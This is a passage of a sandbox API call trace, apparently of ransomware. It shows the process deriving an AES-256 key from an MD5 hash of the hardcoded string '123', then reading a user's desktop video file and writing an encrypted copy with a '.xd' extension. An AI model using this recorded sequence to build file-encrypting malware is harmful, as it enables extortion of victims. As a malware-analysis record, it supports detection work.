hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.176] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.176] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0078.176] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0078.177] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0078.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0078.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0078.177] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0078.177] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0078.178] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.178] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0078.178] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.178] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.178] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.178] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0078.178] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.178] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.178] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.179] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.179] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.179] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.179] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.179] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.179] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.179] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.179] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.179] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.179] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.179] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.179] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.179] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0078.179] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0078.180] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0078.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.180] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0078.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.180] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.180] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.180] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0078.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621648, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0078.181] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0078.181] CryptHashData (hHash=0x164c530, pbData=0x1629410, dwDataLen=0x3, dwFlags=0x1) returned 1 [0078.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.199] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.199] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.199] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.199] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.199] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0078.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217b0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0078.200] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0078.200] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c530, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0078.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.200] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.200] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0078.200] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0078.201] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0078.201] CryptDestroyHash (hHash=0x164c530) returned 1 [0078.203] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.204] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.204] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.204] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.204] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.204] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\usygvd-zhc.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0078.204] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.204] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0078.204] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.204] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.204] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.204] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0078.205] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UsYgVD-zHC.mkv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\usygvd-zhc.mkv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0078.207] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.207] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.207] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.207] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.209] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0078.209] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xdf7, lpOverlapped=0x0) returned 1 [0078.210] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0078.212] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.212] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.212] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.212] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0078.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.212] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0078.212] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.212] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0078.212] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.212] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.212] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.213] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0078.213] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0078.213] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0078.213] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0078.213] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.213] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.214] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.214] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.214] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.214] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.214] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.214] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.214] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.214] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.214] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.214] PeekMessageW 